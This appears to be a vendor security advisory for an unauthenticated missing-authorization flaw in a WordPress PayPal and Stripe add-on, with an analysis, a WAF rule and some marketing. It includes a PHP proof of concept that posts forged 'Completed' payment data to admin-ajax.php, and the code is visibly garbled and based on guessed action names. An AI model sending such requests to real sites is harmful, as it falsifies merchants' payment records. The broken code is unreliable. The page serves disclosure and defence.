Published : August 13, 2026

CVE-2026-66660: Contact Form 7 – PayPal & Stripe Add-on <= 2.5.1 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.5.1
Patched Version
Disclosed August 10, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-66660 (metadata-based): The Contact Form 7 – PayPal & Stripe Add-on for WordPress, versions up to and including 2.5.1, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to perform an unauthorized action. The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating low integrity impact and no confidentiality or availability impact.nnThe root cause is a missing capability check on a function, classified as CWE-862 Missing Authorization. Atomic Edge analysis infers that the vulnerable code likely includes an AJAX handler or admin-post action that lacks a current_user_can() check. This is confirmed by the description stating there is a missing capability check. Without code access, the exact hook or function name cannot be confirmed, but the pattern is typical of WordPress plugins that register an action via add_action(‘wp_ajax_…’) or add_action(‘wp_ajax_nopriv_…’) and process requests without verifying user permissions.nnExploitation occurs through unauthenticated HTTP requests to the vulnerable endpoint. Common endpoints are /wp-admin/admin-ajax.php or /wp-admin/admin-post.php. The attacker sends a POST request with an action parameter that matches the plugin’s registered hook. For example, an attacker might call admin-ajax.php with action=cf7pp_update_payment_status and supply parameters like payment_status or transaction details. Because the missing capability check permits nopriv access, the request succeeds without authentication. The request likely includes only the action and pertinent data, with no nonce or with an ignored nonce.nnRemediation requires adding proper authorization checks to the vulnerable callback function. The plugin must verify the current user has the required capability before processing the request, using current_user_can() or a specific capability like manage_options. Additionally, the plugin should verify a valid nonce for state-changing actions. Since the plugin is closed or unmaintained, applying the patch by the vendor may not be possible. Site owners should remove the plugin or implement a web application firewall rule to block unauthenticated requests to the vulnerable endpoint.nnImpact: An unauthenticated attacker can trigger the vulnerable function, leading to unauthorized actions. The CVSS indicates low integrity impact. Based on the plugin’s purpose (PayPal and Stripe payment handling), the unauthorized action could modify payment statuses, payment logs, or transaction settings. This could result in incorrect payment records, disrupted order processing, or configuration changes. The attack does not directly expose sensitive data or allow privilege escalation.”,
poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2026-66660 – Contact Form 7 – PayPal & Stripe Add-on ‘cf7pp_paypal_ipn’, // Inferred possible action; adjust as neededn ‘payment_status’ => ‘Completed’,n ‘txn_id’ => ‘TEST123’,n ‘custom’ => ‘1’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(n ‘Content-Type: application/x-www-form-urlencoded’,n ‘User-Agent: AtomicEdge-PoC’n));nn$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnecho “HTTP Code: . $http_code . “\n”;necho “Response: ” . $response . “\n”;n// A successful unauthenticated execution may return a non-error response or a 200 OK.n// Blocked access would return a 403 or redirect to login.n”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-66660 (metadata-based)n# Blocks unauthenticated access to the Contact Form 7 – PayPal & Stripe Add-on AJAX endpointsn# by requiring the action parameter and blocking known nopriv actions.nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20266660,phase:2,deny,status:403,chain,msg:’CVE-2026-66660 via CF7 PayPal/Stripe AJAX action’,severity:’CRITICAL’,tag:’CVE-2026-66660′,tag:’wordpress’,tag:’cf7-paypal-add-on'”n SecRule ARGS_POST:action “@pm cf7pp_paypal_ipn cf7pp_validate_payment cf7pp_save_transaction” “chain”n SecRule REQUEST_HEADERS:Authorization “@rx ^$” “t:none”n

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.